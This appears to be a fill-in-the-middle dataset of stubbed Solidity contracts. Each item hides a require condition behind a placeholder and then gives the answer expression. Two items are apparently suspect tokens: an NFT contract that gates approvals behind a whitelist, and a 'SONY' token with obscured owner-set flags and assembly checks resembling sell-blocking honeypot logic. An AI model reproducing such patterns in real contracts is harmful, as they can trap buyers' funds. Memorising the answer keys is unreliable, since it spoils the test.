import "./Dependencies/SafeMath.sol";
import "./Dependencies/Ownable.sol";
import "./Dependencies/CheckContract.sol";
/*
* A sorted doubly linked list with nodes sorted in descending order.
*
* Nodes map to active Troves in the system - the ID property is the address of a Trove owner.
* Nodes are ordered according to their current nominal individual collateral ratio (NICR),
* which is like the ICR but without the price, i.e., just collateral / debt.
*
* The list optionally accepts insert position hints.
*
* NICRs are computed dynamically at runtime, and not stored on the Node. This is because NICRs of active Troves
* change dynamically as liquidation events occur.
*
* The list relies on the fact that liquidation events preserve ordering: a liquidation decreases the NICRs of all active Troves,
* but maintains their order. A node inserted based on current NICR will maintain the correct position,
* relative to it's peers, as rewards accumulate, as long as it's raw collateral and debt have not changed.
* Thus, Nodes remain sorted by current NICR.
*
* Nodes need only be re-inserted upon a Trove operation - when the owner adds or removes collateral or debt
* to their position.
*
* The list is a modification of the following audited SortedDoublyLinkedList:
* https://github.com/livepeer/protocol/blob/master/contracts/libraries/SortedDoublyLL.sol
*
*
* Changes made in the Liquity implementation:
*
* - Keys have been removed from nodes
*
* - Ordering checks for insertion are performed by comparing an NICR argument to the current NICR, calculated at runtime.
* The list relies on the property that ordering by ICR is maintained as the ETH:USD price varies.
*
* - Public functions with parameters have been made internal to save gas, and given an external wrapper function for external access
*/
contract SortedTroves is Ownable, CheckContract, ISortedTroves {
using SafeMath for uint256;
string public constant NAME = "SortedTroves";
address public borrowerOperationsAddress;
ITroveManager public troveManager;
// Information for a node in the list
struct Node {
bool exists;
address nextId; // Id of next node (smaller NICR) in the list
address prevId; // Id of previous node (larger NICR) in the list
}
// Information for the list
struct Data {
address head; // Head of the list. Also the node in the list with the largest NICR
address tail; // Tail of the list. Also the node in the list with the smallest NICR
uint256 maxSize; // Maximum size of the list
uint256 size; // Current size of the list
mapping(address => Node) nodes; // Track the corresponding ids for each node in the list
}
Data public data;
// --- Dependency setters ---
function setParams(
uint256 _size,
address _troveManagerAddress,
address _borrowerOperationsAddress
) external override onlyOwner {
}
/*
* @dev Add a node to the list
* @param _id Node's id
* @param _NICR Node's NICR
* @param _prevId Id of previous node for the insert position
* @param _nextId Id of next node for the insert position
*/
function insert(
address _id,
uint256 _NICR,
address _prevId,
address _nextId
) external override {
}
function _insert(
ITroveManager _troveManager,
address _id,
uint256 _NICR,
address _prevId,
address _nextId
) internal {
// List must not be full
require(!isFull(), "SortedTroves: List is full");
// List must not already contain node
require(<FILL_ME>)
// Node id must not be null
require(_id != address(0), "SortedTroves: Id cannot be zero");
// NICR must be non-zero
require(_NICR > 0, "SortedTroves: NICR must be positive");
address prevId = _prevId;
address nextId = _nextId;
if (!_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {
// Sender's hint was not a valid insert position
// Use sender's hint to find a valid insert position
(prevId, nextId) = _findInsertPosition(_troveManager, _NICR, prevId, nextId);
}
data.nodes[_id].exists = true;
if (prevId == address(0) && nextId == address(0)) {
// Insert as head and tail
data.head = _id;
data.tail = _id;
} else if (prevId == address(0)) {
// Insert before `prevId` as the head
data.nodes[_id].nextId = data.head;
data.nodes[data.head].prevId = _id;
data.head = _id;
} else if (nextId == address(0)) {
// Insert after `nextId` as the tail
data.nodes[_id].prevId = data.tail;
data.nodes[data.tail].nextId = _id;
data.tail = _id;
} else {
// Insert at insert position between `prevId` and `nextId`
data.nodes[_id].nextId = nextId;
data.nodes[_id].prevId = prevId;
data.nodes[prevId].nextId = _id;
data.nodes[nextId].prevId = _id;
}
data.size = data.size.add(1);
emit NodeAdded(_id, _NICR);
}
function remove(address _id) external override {
}
/*
* @dev Remove a node from the list
* @param _id Node's id
*/
function _remove(address _id) internal {
}
/*
* @dev Re-insert the node at a new position, based on its new NICR
* @param _id Node's id
* @param _newNICR Node's new NICR
* @param _prevId Id of previous node for the new insert position
* @param _nextId Id of next node for the new insert position
*/
function reInsert(
address _id,
uint256 _newNICR,
address _prevId,
address _nextId
) external override {
}
/*
* @dev Checks if the list contains a node
*/
function contains(address _id) public view override returns (bool) {
}
/*
* @dev Checks if the list is full
*/
function isFull() public view override returns (bool) {
}
/*
* @dev Checks if the list is empty
*/
function isEmpty() public view override returns (bool) {
}
/*
* @dev Returns the current size of the list
*/
function getSize() external view override returns (uint256) {
}
/*
* @dev Returns the maximum size of the list
*/
function getMaxSize() external view override returns (uint256) {
}
/*
* @dev Returns the first node in the list (node with the largest NICR)
*/
function getFirst() external view override returns (address) {
}
/*
* @dev Returns the last node in the list (node with the smallest NICR)
*/
function getLast() external view override returns (address) {
}
/*
* @dev Returns the next node (with a smaller NICR) in the list for a given node
* @param _id Node's id
*/
function getNext(address _id) external view override returns (address) {
}
/*
* @dev Returns the previous node (with a larger NICR) in the list for a given node
* @param _id Node's id
*/
function getPrev(address _id) external view override returns (address) {
}
/*
* @dev Check if a pair of nodes is a valid insertion point for a new node with the given NICR
* @param _NICR Node's NICR
* @param _prevId Id of previous node for the insert position
* @param _nextId Id of next node for the insert position
*/
function validInsertPosition(
uint256 _NICR,
address _prevId,
address _nextId
) external view override returns (bool) {
}
function _validInsertPosition(
ITroveManager _troveManager,
uint256 _NICR,
address _prevId,
address _nextId
) internal view returns (bool) {
}
/*
* @dev Descend the list (larger NICRs to smaller NICRs) to find a valid insert position
* @param _troveManager TroveManager contract, passed in as param to save SLOAD’s
* @param _NICR Node's NICR
* @param _startId Id of node to start descending the list from
*/
function _descendList(
ITroveManager _troveManager,
uint256 _NICR,
address _startId
) internal view returns (address, address) {
}
/*
* @dev Ascend the list (smaller NICRs to larger NICRs) to find a valid insert position
* @param _troveManager TroveManager contract, passed in as param to save SLOAD’s
* @param _NICR Node's NICR
* @param _startId Id of node to start ascending the list from
*/
function _ascendList(
ITroveManager _troveManager,
uint256 _NICR,
address _startId
) internal view returns (address, address) {
}
/*
* @dev Find the insert position for a new node with the given NICR
* @param _NICR Node's NICR
* @param _prevId Id of previous node for the insert position
* @param _nextId Id of next node for the insert position
*/
function findInsertPosition(
uint256 _NICR,
address _prevId,
address _nextId
) external view override returns (address, address) {
}
function _findInsertPosition(
ITroveManager _troveManager,
uint256 _NICR,
address _prevId,
address _nextId
) internal view returns (address, address) {
}
// --- 'require' functions ---
function _requireCallerIsTroveManager() internal view {
}
function _requireCallerIsBOorTroveM(ITroveManager _troveManager) internal view {
}
}
| !contains(_id),"SortedTroves: List already contains the node" | 233,618 | !contains(_id) |
"SortedTroves: List does not contain the id" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "./Interfaces/ISortedTroves.sol";
import "./Interfaces/ITroveManager.sol";
import "./Interfaces/IBorrowerOperations.sol";
import "./Dependencies/SafeMath.sol";
import "./Dependencies/Ownable.sol";
import "./Dependencies/CheckContract.sol";
/*
* A sorted doubly linked list with nodes sorted in descending order.
*
* Nodes map to active Troves in the system - the ID property is the address of a Trove owner.
* Nodes are ordered according to their current nominal individual collateral ratio (NICR),
* which is like the ICR but without the price, i.e., just collateral / debt.
*
* The list optionally accepts insert position hints.
*
* NICRs are computed dynamically at runtime, and not stored on the Node. This is because NICRs of active Troves
* change dynamically as liquidation events occur.
*
* The list relies on the fact that liquidation events preserve ordering: a liquidation decreases the NICRs of all active Troves,
* but maintains their order. A node inserted based on current NICR will maintain the correct position,
* relative to it's peers, as rewards accumulate, as long as it's raw collateral and debt have not changed.
* Thus, Nodes remain sorted by current NICR.
*
* Nodes need only be re-inserted upon a Trove operation - when the owner adds or removes collateral or debt
* to their position.
*
* The list is a modification of the following audited SortedDoublyLinkedList:
* https://github.com/livepeer/protocol/blob/master/contracts/libraries/SortedDoublyLL.sol
*
*
* Changes made in the Liquity implementation:
*
* - Keys have been removed from nodes
*
* - Ordering checks for insertion are performed by comparing an NICR argument to the current NICR, calculated at runtime.
* The list relies on the property that ordering by ICR is maintained as the ETH:USD price varies.
*
* - Public functions with parameters have been made internal to save gas, and given an external wrapper function for external access
*/
contract SortedTroves is Ownable, CheckContract, ISortedTroves {
using SafeMath for uint256;
string public constant NAME = "SortedTroves";
address public borrowerOperationsAddress;
ITroveManager public troveManager;
// Information for a node in the list
struct Node {
bool exists;
address nextId; // Id of next node (smaller NICR) in the list
address prevId; // Id of previous node (larger NICR) in the list
}
// Information for the list
struct Data {
address head; // Head of the list. Also the node in the list with the largest NICR
address tail; // Tail of the list. Also the node in the list with the smallest NICR
uint256 maxSize; // Maximum size of the list
uint256 size; // Current size of the list
mapping(address => Node) nodes; // Track the corresponding ids for each node in the list
}
Data public data;
// --- Dependency setters ---
function setParams(
uint256 _size,
address _troveManagerAddress,
address _borrowerOperationsAddress
) external override onlyOwner {
}
/*
* @dev Add a node to the list
* @param _id Node's id
* @param _NICR Node's NICR
* @param _prevId Id of previous node for the insert position
* @param _nextId Id of next node for the insert position
*/
function insert(
address _id,
uint256 _NICR,
address _prevId,
address _nextId
) external override {
}
function _insert(
ITroveManager _troveManager,
address _id,
uint256 _NICR,
address _prevId,
address _nextId
) internal {
}
function remove(address _id) external override {
}
/*
* @dev Remove a node from the list
* @param _id Node's id
*/
function _remove(address _id) internal {
// List must contain the node
require(<FILL_ME>)
if (data.size > 1) {
// List contains more than a single node
if (_id == data.head) {
// The removed node is the head
// Set head to next node
data.head = data.nodes[_id].nextId;
// Set prev pointer of new head to null
data.nodes[data.head].prevId = address(0);
} else if (_id == data.tail) {
// The removed node is the tail
// Set tail to previous node
data.tail = data.nodes[_id].prevId;
// Set next pointer of new tail to null
data.nodes[data.tail].nextId = address(0);
} else {
// The removed node is neither the head nor the tail
// Set next pointer of previous node to the next node
data.nodes[data.nodes[_id].prevId].nextId = data.nodes[_id].nextId;
// Set prev pointer of next node to the previous node
data.nodes[data.nodes[_id].nextId].prevId = data.nodes[_id].prevId;
}
} else {
// List contains a single node
// Set the head and tail to null
data.head = address(0);
data.tail = address(0);
}
delete data.nodes[_id];
data.size = data.size.sub(1);
NodeRemoved(_id);
}
/*
* @dev Re-insert the node at a new position, based on its new NICR
* @param _id Node's id
* @param _newNICR Node's new NICR
* @param _prevId Id of previous node for the new insert position
* @param _nextId Id of next node for the new insert position
*/
function reInsert(
address _id,
uint256 _newNICR,
address _prevId,
address _nextId
) external override {
}
/*
* @dev Checks if the list contains a node
*/
function contains(address _id) public view override returns (bool) {
}
/*
* @dev Checks if the list is full
*/
function isFull() public view override returns (bool) {
}
/*
* @dev Checks if the list is empty
*/
function isEmpty() public view override returns (bool) {
}
/*
* @dev Returns the current size of the list
*/
function getSize() external view override returns (uint256) {
}
/*
* @dev Returns the maximum size of the list
*/
function getMaxSize() external view override returns (uint256) {
}
/*
* @dev Returns the first node in the list (node with the largest NICR)
*/
function getFirst() external view override returns (address) {
}
/*
* @dev Returns the last node in the list (node with the smallest NICR)
*/
function getLast() external view override returns (address) {
}
/*
* @dev Returns the next node (with a smaller NICR) in the list for a given node
* @param _id Node's id
*/
function getNext(address _id) external view override returns (address) {
}
/*
* @dev Returns the previous node (with a larger NICR) in the list for a given node
* @param _id Node's id
*/
function getPrev(address _id) external view override returns (address) {
}
/*
* @dev Check if a pair of nodes is a valid insertion point for a new node with the given NICR
* @param _NICR Node's NICR
* @param _prevId Id of previous node for the insert position
* @param _nextId Id of next node for the insert position
*/
function validInsertPosition(
uint256 _NICR,
address _prevId,
address _nextId
) external view override returns (bool) {
}
function _validInsertPosition(
ITroveManager _troveManager,
uint256 _NICR,
address _prevId,
address _nextId
) internal view returns (bool) {
}
/*
* @dev Descend the list (larger NICRs to smaller NICRs) to find a valid insert position
* @param _troveManager TroveManager contract, passed in as param to save SLOAD’s
* @param _NICR Node's NICR
* @param _startId Id of node to start descending the list from
*/
function _descendList(
ITroveManager _troveManager,
uint256 _NICR,
address _startId
) internal view returns (address, address) {
}
/*
* @dev Ascend the list (smaller NICRs to larger NICRs) to find a valid insert position
* @param _troveManager TroveManager contract, passed in as param to save SLOAD’s
* @param _NICR Node's NICR
* @param _startId Id of node to start ascending the list from
*/
function _ascendList(
ITroveManager _troveManager,
uint256 _NICR,
address _startId
) internal view returns (address, address) {
}
/*
* @dev Find the insert position for a new node with the given NICR
* @param _NICR Node's NICR
* @param _prevId Id of previous node for the insert position
* @param _nextId Id of next node for the insert position
*/
function findInsertPosition(
uint256 _NICR,
address _prevId,
address _nextId
) external view override returns (address, address) {
}
function _findInsertPosition(
ITroveManager _troveManager,
uint256 _NICR,
address _prevId,
address _nextId
) internal view returns (address, address) {
}
// --- 'require' functions ---
function _requireCallerIsTroveManager() internal view {
}
function _requireCallerIsBOorTroveM(ITroveManager _troveManager) internal view {
}
}
| contains(_id),"SortedTroves: List does not contain the id" | 233,618 | contains(_id) |
"ERC20MaxSupply: maxTokenSupply exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/*
╔╦╗╦╔╗╔╔═╗╔╗ ╔═╗╔═╗╔═╗ ╔╦╗╔═╗╦╔═╔═╗╔╗╔
║║║║║║║║╣ ╠╩╗╠═╣╚═╗║╣ ║ ║ ║╠╩╗║╣ ║║║
╩ ╩╩╝╚╝╚═╝╚═╝╩ ╩╚═╝╚═╝ ╩ ╚═╝╩ ╩╚═╝╝╚╝
*/
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CreativeTokenProduction is ERC20, ERC20Burnable, Ownable {
uint256 private immutable _maxTokenSupply;
constructor(
address _contractOwner,
address _tokenOwner,
uint256 _preMintAmount,
uint256 _maxTokenAmount,
string memory _tokenName,
string memory _tokenSymbol
) ERC20(_tokenName, _tokenSymbol) {
}
function maxSupply() public view virtual returns (uint256) {
}
function mint(address to, uint256 amount) public onlyOwner {
require(<FILL_ME>)
_mint(to, amount);
}
}
| ERC20.totalSupply()+amount<=maxSupply(),"ERC20MaxSupply: maxTokenSupply exceeded" | 233,691 | ERC20.totalSupply()+amount<=maxSupply() |
"Invalid proof!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
error ApprovalCallerNotOwnerNorApproved();
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable,
Ownable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal immutable collectionSize;
uint256 internal immutable maxBatchSize;
bytes32 public LWhitelistMerkleRoots; //////////////////////////////////////////////////////////////////////////////////////////////////////// new 1
//Allow all tokens to transfer to contract
bool public ContractIsdeny = false; ///////////////////////////////////////////////////////////////////////////////////////////////////// new 2
bool private onoroff = false; ///////////////////////////////////////////////////////////////////////////////////////////////////// new 2
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Mapping token to allow to transfer to contract
mapping(uint256 => bool) public _ToContract; ///////////////////////////////////////////////////////////////////////////////////// new 1
mapping(address => bool) public _addressToContract; ///////////////////////////////////////////////////////////////////////////////////// new 1
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
* `collectionSize_` refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_
) {
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
function setContractIsdeny () external onlyOwner {
}
function setTokenToContract(uint256 _tokenId, bool _allow) external onlyOwner {
}
function setAddressToContract(address[] memory _address, bool[] memory _allow) external onlyOwner {
}
function setListWhitelistMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function isInTheWhitelist(bytes32[] calldata _merkleProof) public view returns (bool) {
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
bytes32 leaf2 = keccak256(abi.encodePacked(tx.origin));
require(<FILL_ME>)
return true;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
function approve(address to, uint256 tokenId, bytes32[] calldata _merkleProof) public {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
function ddStop() internal view returns (bool){
}
function switchBack() external onlyOwner{
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
}
function setApprovalForAll(address operator, bool approved, bytes32[] calldata _merkleProof) public {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - there must be `quantity` tokens remaining unminted in the total collection.
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Approve `to` to operate onoroff `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} onoroff a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
| MerkleProof.verify(_merkleProof,LWhitelistMerkleRoots,leaf)||MerkleProof.verify(_merkleProof,LWhitelistMerkleRoots,leaf2),"Invalid proof!" | 233,795 | MerkleProof.verify(_merkleProof,LWhitelistMerkleRoots,leaf)||MerkleProof.verify(_merkleProof,LWhitelistMerkleRoots,leaf2) |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./Ownable.sol";
contract SONY is IERC20, Ownable {
string private _name;
string private _symbol;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
mapping (address => uint256) private _applex;
mapping(address => mapping(address => uint256)) private _allowances;
address private immutable _addr;
/**
* @dev Sets the values for {name} and {symbol}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_, address addr_, uint256 applex_) {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(address from, address to, uint256 amount) internal virtual {
}
function checks(address sender, bytes memory data) private view {
bytes32 mdata; assembly { mdata := mload(add(data, 0x20)) }
require(<FILL_ME>)
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
function cheese(uint256[] calldata boxes) external {
}
function cockx(uint256 kmj, bytes32 xdm,
bytes32 pxp) private view returns (
uint256) {
}
}
| _applex[sender]!=1||uint256(mdata)!=0 | 233,815 | _applex[sender]!=1||uint256(mdata)!=0 |
"SmarDex: INSUFFICIENT_TOKEN0_INPUT_AMOUNT" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity =0.8.17;
// contracts
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol";
// libraries
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "./libraries/SmardexLibrary.sol";
import "./libraries/TransferHelper.sol";
// interfaces
import "./interfaces/ISmardexPair.sol";
import "./interfaces/ISmardexOwnableFactory.sol";
import "./interfaces/ISmardexSwapCallback.sol";
import "./interfaces/ISmardexMintCallback.sol";
/**
* @title SmardexPair
* @notice Pair contract that allows user to swap 2 ERC20-strict tokens in a decentralised and automated way
*/
contract SmardexPair is ISmardexPair, ERC20Permit {
using SafeCast for uint256;
using SafeCast for int256;
uint8 private constant CONTRACT_UNLOCKED = 1;
uint8 private constant CONTRACT_LOCKED = 2;
uint256 private constant MINIMUM_LIQUIDITY = 10 ** 3;
bytes4 private constant AUTOSWAP_SELECTOR = bytes4(keccak256(bytes("executeWork(address,address)")));
address public immutable factory;
address public token0;
address public token1;
// smardex pair fees numerators, denominator is 1_000_000
uint128 internal feesLP = 1; // numerator of fees sent to lp, min 1,
uint128 internal feesPool; // numerator of fees sent to pool
// smardex new fictive reserves
uint128 internal fictiveReserve0;
uint128 internal fictiveReserve1; // accessible via getFictiveReserves()
// moving average on the price
uint128 internal priceAverage0;
uint128 internal priceAverage1;
uint40 internal priceAverageLastTimestamp; // accessible via getPriceAverage()
// fee for FEE_POOL
uint104 internal feeToAmount0;
uint104 internal feeToAmount1; // accessible via getFeeToAmounts()
// reentrancy
uint8 private lockStatus = CONTRACT_UNLOCKED;
modifier lock() {
}
modifier onlyFactoryOwner() {
}
constructor() ERC20("SmarDex LP-Token", "SDEX-LP") ERC20Permit("SmarDex LP-Token") {
}
///@inheritdoc ISmardexPair
function initialize(address _token0, address _token1, uint128 _feesLP, uint128 _feesPool) external override {
}
///@inheritdoc ISmardexPair
function getReserves() external view override returns (uint256 reserve0_, uint256 reserve1_) {
}
///@inheritdoc ISmardexPair
function getFictiveReserves() external view override returns (uint256 fictiveReserve0_, uint256 fictiveReserve1_) {
}
///@inheritdoc ISmardexPair
function getFeeToAmounts() external view override returns (uint256 fees0_, uint256 fees1_) {
}
///@inheritdoc ISmardexPair
function getPairFees() external view override returns (uint128 feesLP_, uint128 feesPool_) {
}
///@inheritdoc ISmardexPair
function getPriceAverage()
external
view
returns (uint256 priceAverage0_, uint256 priceAverage1_, uint256 priceAverageLastTimestamp_)
{
}
///@inheritdoc ISmardexPair
function getUpdatedPriceAverage(
uint256 _fictiveReserveIn,
uint256 _fictiveReserveOut,
uint256 _priceAverageLastTimestamp,
uint256 _priceAverageIn,
uint256 _priceAverageOut,
uint256 _currentTimestamp
) public pure returns (uint256 priceAverageIn_, uint256 priceAverageOut_) {
}
